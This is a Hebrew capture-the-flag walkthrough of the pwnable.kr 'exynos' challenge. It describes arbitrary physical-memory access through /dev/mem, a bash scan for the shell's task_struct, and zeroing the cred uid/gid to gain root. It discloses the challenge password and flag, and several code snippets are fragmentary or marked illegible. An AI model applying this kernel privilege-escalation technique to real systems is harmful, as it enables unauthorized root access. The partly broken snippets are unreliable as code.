

exynos



To run: `sshpas -p "Must_san1tize_Us3r_p0int3r" ssh exynos@pwnable.kr -p2222`

exynos-mem

main()

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
    int bytes_processed; // [sp+8h] [bp-1Ch]
    int fd; // [sp+Ch] [bp-18h]
    int phy_addr; // [sp+10h] [bp-14h]
    int size; // [sp+14h] [bp-10h]
    int mode; // [sp+18h] [bp-Ch]
    char *buf; // [sp+1Ch] [bp-8h]

    if ( argc == 4 )
    {
        fd = open("/dev/mem", 2, envp);
        phy_addr = atoi(argv[1]);
        size = atoi(argv[2]);
        mode = atoi(argv[3]);
        lseek(fd, phy_addr, 0);
        buf = (char *) malloc(size);
        bytes_processed = 0;
        if ( mode == 0 )
        {
            read(fd, buf, size);
            bytes_processed = write(1, buf, size);
        }
        else if ( mode == 1 )
        {
            read(0, buf, size);
            bytes_processed = write(fd, buf, size);
        }
    }
}
```

```

    }
    else
    {
        fwrite("wrong mode. 0:read, 1:write\n", 1, 28, stderr[0]);
    }
    fprintf(stderr[0], "processed %d bytes\n", bytes_processed1);
}
else
{
    puts("usage : exynos-mem [phyaddr] [bytesize] [mode(R/W-0/1)]", argv,
envp);
}
return 0;
}

```

(=arbitrary read and write on the ram)

אימלום

לפני שאני אתחיל לחשוב על דפאות, אני אאסוף מידע בשביל להבין את המבנה של הזיכרון הפיזי ואיפה כל דבר נמצא. יש קובץ בשם `proc/iomem/` שמכיל memory map של כל הרכיבים החומרתיים ושל הram:

```

/ $ cat /proc/iomem
10000000-10000fff : vexpress-sysreg
10000000-10000fff : vexpress-sysreg
10002000-10002fff : versatile-i2c.0
10004000-10004fff : mb:aaci
10004000-10004fff : aaci-pl041
10005000-10005fff : mb:mmci
10005000-10005fff : mmci-pl18x
10006000-10006fff : mb:kmi0
10006000-10006fff : kmi-pl050
10007000-10007fff : mb:kmi1
10007000-10007fff : kmi-pl050
10009000-10009fff : mb:uart0
10009000-10009fff : uart-pl011
1000a000-1000afff : mb:uart1
1000a000-1000afff : uart-pl011
1000b000-1000bfff : mb:uart2
1000b000-1000bfff : uart-pl011
1000c000-1000cfff : mb:uart3
1000c000-1000cfff : uart-pl011
10016000-10016fff : versatile-i2c.1
10017000-10017fff : mb:rtc
10017000-10017fff : rtc-pl031
1001a000-1001a0ff : pata_platform
1001a100-1001afff : pata_platform
10020000-10020fff : ct:clcd
10020000-10020fff : clcd-pl11x
40000000-43ffffff : physmap-flash
44000000-47ffffff : physmap-flash
4e000000-4e00ffff : smsc911x
4e000000-4e00ffff : smsc911x
4f000000-4f01ffff : isp1760
60000000-66dfffff : System RAM
60008000-60485f3f : Kernel code
604ba000-605065cf : Kernel data

```

ניתן לראות שהמכונה רצה על ARM Versatile Express (VExpress) כי זה משתמש ב-qemu. יש הרבה איכסה אבל מה שמעניין בתכלס זה הסוף - ניתן לראות שהזיכרון של הsystem מתחיל ב-0x60000000, ושהקוד של הקרנל מתחיל ב-0x60008000.

בנוגע לזיכרון הוירטואלי, בשביל למצוא את הכתובת ההתחלתית של הקרנל הרצתי את הפקודה הבאה:

```

/ $ zcat /proc/config.gz | grep -E "CONFIG_VMSPLIT|CONFIG_PAGE_OFFSET"
# CONFIG_VMSPLIT_3G is not set
CONFIG_VMSPLIT_2G=y
# CONFIG_VMSPLIT_1G is not set
CONFIG_PAGE_OFFSET=0x80000000

```

ניתן לראות שהקרנל מתחיל בכתובת 0x80000000. זה אומר שבשביל להמיר כתובות וירטואליות לפיזיות בקרנל, אני צריך לבצע את החישוב הבא:

$$\text{phy_addr} = \text{virt_addr} - 0x80000000 + 0x60000000 = \text{virt_addr} - 0x20000000$$

דפאות

אני רוצה למצוא דרך להעלות לי את ההרשאות. בלינוקס לכל thread process יש struct בשם task_struct שמכיל מידע עליהם. בתוך הstruct יש את הpointer הבאים:

```

/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

```

מה שמעניין אותי זה `cred*` שמבציע להרשאות של task שלי:

```

struct cred {
    atomic_long_t usage;
    kuid_t uid; /* real UID of the task */
    kgid_t gid; /* real GID of the task */
    kuid_t suid; /* saved UID of the task */
    kgid_t sgid; /* saved GID of the task */
    kuid_t euid; /* effective UID of the task */
    kgid_t egid; /* effective GID of the task */
    kuid_t fsuid; /* UID for VFS ops */
    kgid_t fsgid; /* GID for VFS ops */
    unsigned short __reserved; /* CWD, less security management */
};

```

בשביל לקבל הרשאות root אני צריך לשנות את הuid והgid ל0.

אני צריך למצוא דרך לאתר את ה `task_struct` בזיכרון הפיזי ולשנות את `cred*`. בשביל לזהות איזה `task_struct` שייך לprocess שלי, אני יכול להשתמש בעובדה ש `task_struct` שומר את השם של הprocess:

```

/*
 * executable name, excluding path.
 *
 * - normally initialized by begin_new_exec()
 * - set it with set_task_comm() to ensure it is always
 *   NUL-terminated and zero-padded
 */
char comm[TASK_COMM_LEN];

```

בנוסף, בגלל שהקבה ממש אוהב אותי, זה נמצא מיד אחרי `cred` (*) כל עוד `CONFIG_KEYS` לא מוגדר:

```

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
 * executable name, excluding path.
 *
 * - normally initialized by begin_new_exec()
 * - set it with set_task_comm() to ensure it is always
 *   NUL-terminated and zero-padded
 */
char comm[TASK_COMM_LEN];

```

ואכן `CONFIG_KEYS` לא מוגדר:

```

$ zcat /proc/config.gz | grep CONFIG_KEYS
# CONFIG_KEYS is not set

```

אז לסיכום, הדפא דיי פשוטה - אני אעבור על כל הזיכרון הפיזי באמצעות `exynos-mem` ואחפש את השם של `processh` שהshell שלי רץ עליו. לאחר מכן אני אתסכל על ה4 בתים שלפניו (כתובת וירטואלית שמצביעה על `cred`), אמיר את הכתובת הזו לפיזית ואשנה את הuid והgid ל0 (כלומר אפס את `[cred_base_addr + 0x04 - cred_base_addr + 0x0b]`).

השמשה

מציאת הprocess בזיכרון הפיזי

בשלב הזה אני אסרוק את כל הזיכרון הפיזי בחיפוש אחר השם (`comm`) של `processh` של הshell שאני רץ עליו. השם שלו הוא:

```
/ $ cat /proc/537/comm
sh
```

אני כבר רואה את הפסטונים שיהיו לי אם אני אנסה לחפש את `sh` בכל הזיכרון הפיזי... לכן אני פשוט אשנה את השם של `processh`!

```
/ $ echo nino_banino > /proc/537/comm
/ $ cat /proc/537/comm
nino_banino
```

עכשיו יהיה הרבה יותר קל לחפש את זה בזיכרון (:

התחלתי לכתוב את הקוד בפייתון, אבל אז נזכרתי שזה לא מובן מאליו שיש על הדבר הזה בפייתון, ואכן נראה שצדקתי:

```
/ $ python
sh: python: not found
```

אז אני נאלץ לכתוב את זה בbash script, איזה כיף!!

```
printf "nino-banino" > /proc/self/comm

for i in $(seq $((0x60800000)) $((0x100000)) $((0x66d00000))); do
    echo "Scanning $(printf '0x%x' $i)..."
    /exynos-mem $i $((0x100000)) 0 | hexdump -C | grep "nino"
done
```

לאחר כמה false positives, קיבלתי את הדבר הבא:

```
Processed 1048576 bytes
Scanning 0x66900000...
000b2970  00 87 5a 83 00 87 5a 83  6e 69 6e 6f 2d 62 61 6e  |..Z...Z.nino-ban|
000b3c30  80 8c 5a 83 80 8c 5a 83  6e 69 6e 6f 2d 62 61 6e  |..Z...Z.nino-ban|
```

בינגו! אפשר לראות שזה תואם את המבנה של `task_struct`. אבל רגע, למה יש לי שתי תוצאות? פעמיים כי טוב אני מניח... אני פשוט אבצע את הדפא על שניהם!

ה- task_struct הראשון

המרה של הכתובת הוירטואלית של `cred` לכתובת פיזית

ניתן לראות שה-4 בתיים לפני ה-comm הם 00 87 83 5a.

virt 0x835a8700 -> phy 0x635a8700

(החישוב בוצע לפי הנוסחה שהראתי בתחילת התיעוד.)

הדפסה של cred

```
for i in $(seq $((0x635a8700)) $((0x100)) $((0x635a8900))); do
    echo "Scanning $(printf '0x%x' $i)..."
    /exynos-mem $i $((0x100)) 0 | hexdump -C
done
```

"Pasted image 20260714201137.png" could not be found.

ניצחון עצום ליהודים!! נראה שזה בול מה שציפינו! זה תואם את המבנה של `cred` וגם ה-`uid` במקרה הזה הוא `0x3e8 == 1000`, ו-`1000` זה ה-`uid` של ה-shell שלנו.

שינוי ההרשאות של ה-process (אייפוס ה-uid וה-gid ב-cred)

[illegible]

בדיקה שה-id השתנה וקריאה של הדגל

כעת, בהנחה שזה באמת ה-process שאני רץ עליו, כשאני אריץ id אני אמור לקבל 0.

```
/ $ id
uid=1000 gid=1000 groups=1000
```

אוף): אבל לא נורא! יש את האופציה השנייה שמחכה.

ה-`task_struct` השני

המרה של הכתובת הווירטואלית של cred לכתובת פיזית

ניתן לראות שה-4 בתים לפני ה-comm הם 80 83 5a 8c.

virt 0x835a8c80 -> phy 0x635a8c80

(החישוב בוצע לפי הנוסחה שהראתי בתחילת התיעוד.)

הדפסה של cred

```
for i in $(seq $(0x635a8c80) $(0x100) $(0x635a8f80)); do
    echo "Scanning $(printf '0x%x' $i)..."
done
```

```
/exynos-mem $i $((0x100)) 0 | hexdump -C
done
```

```

$ for i in $(seq $((0x635a8c80)) $((0x100)) $((0x635a8f80))); do
>     echo "Scanning $(printf '0x%x' $i)..."
>     /exynos-mem $i $((0x100)) 0 | hexdump -C
> done
Scanning 0x635a8c80...
processed 256 bytes
00000000  09 00 00 00 e8 03 00 00 e8 03 00 00 e8 03 00 00 |.....|
00000010  e8 03 00 00 e8 03 00 00 e8 03 00 00 e8 03 00 00 |.....|
00000020  e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
00000040  ff ff ff ff ff ff ff ff c0 83 ab 83 fc 99 4c 80 |.....L|
00000050  00 b3 5a 83 00 00 00 00 00 00 00 00 00 00 00 00 |..Z.....|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|

```

אחלה

שינוי ההרשאות של ה-process (אייפוס ה-uid וה-gid ב-cred)

[illegible]

בדיקה שה-id השתנה וקריאה של הדגל

```
/ # id
uid=0 gid=0 groups=1000
/ # ls
bin          dev          exynos-mem  linuxrc      proc         sbin         tmp
boot        etc          lib          lost+found   root         sys          usr
/ # cd root
/root # ls
flag
/root # cat flag
r3ad_Writ3_kernel_m3mory_as_1_want
```

נוצחה!!!